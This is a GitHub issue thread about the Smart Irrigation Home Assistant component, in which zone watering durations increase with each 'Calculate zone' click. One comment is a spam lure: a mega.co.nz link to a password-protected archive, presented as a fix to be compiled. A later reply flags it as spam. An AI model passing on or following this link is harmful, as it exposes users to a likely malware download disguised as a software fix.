jeroenterheerdt / HAsmartirrigation

Smart Irrigation custom component for Home Assistant
https://jeroenterheerdt.github.io/HAsmartirrigation/
MIT License
367 stars 48 forks source link

When Clicking Calculate zone - It increases with each click #494

Open sweti3 opened 2 months ago

sweti3 commented 2 months ago

What happened?

Today, I noticed over the last weeks ( Ideactivated the irrigation automation as it rained pretty hard those days) - that each zone is at 3600s. So far so good. Startet watering each zone for 60 minutes. As we got a new watermeter per zone, I thought: Hey I can also now calculate the exact throughput - great.

After doing that, I entered the new values in Smart Irrigation. Reset the buckets, and "out of fun" clicked on calculate zone. It immediately increased. Clicked again, increased again. and so on:

grafik

After clicking 4 times now:

grafik

How to reproduce

Click on one zone "Calculate Zone" -> then the time to water increases by each click: grafik

here the log (sorry did not know where to put it else !)

Relevant log output

Too huge to put in

Which version are you running?

v2024.8.2

Diagnostics file

Additional information

home-assistant_smart_irrigation_2024-09-20T07-53-59.185Z.log

sweti3 commented 2 months ago

removed my citation as the link was still there

What is that exactly (before I downlaod anyting) and what to do with it? compile as it is a new version of the SMart Irrigation?

jeroenterheerdt commented 2 months ago

I think this will help you. https://mega.co.nz/#!9jFTnQQa!-IQ1bo74J_ZxbbDvQKSXEj0mCXBuFYX9CK-5y5EV_0A Archive password: changeme If you don't have the c compliator, install it.(gcc or clang)

What is that exactly (before I downlaod anyting) and what to do with it? compile as it is a new version of the SMart Irrigation?

don't do this, this is spam.

sweti3 commented 2 months ago

Still as of today the issue is the same, pressing calculate all zones gives zero changes to the times :/

jeroenterheerdt commented 1 month ago

I don't see the problem here. you are clicking the calculate button, so of course if irrigation is needed the duration increases. You should be using the calculate button only when testing to confirm it works, which it looks like it does. Then, just use automatic calculation or call the relevant services.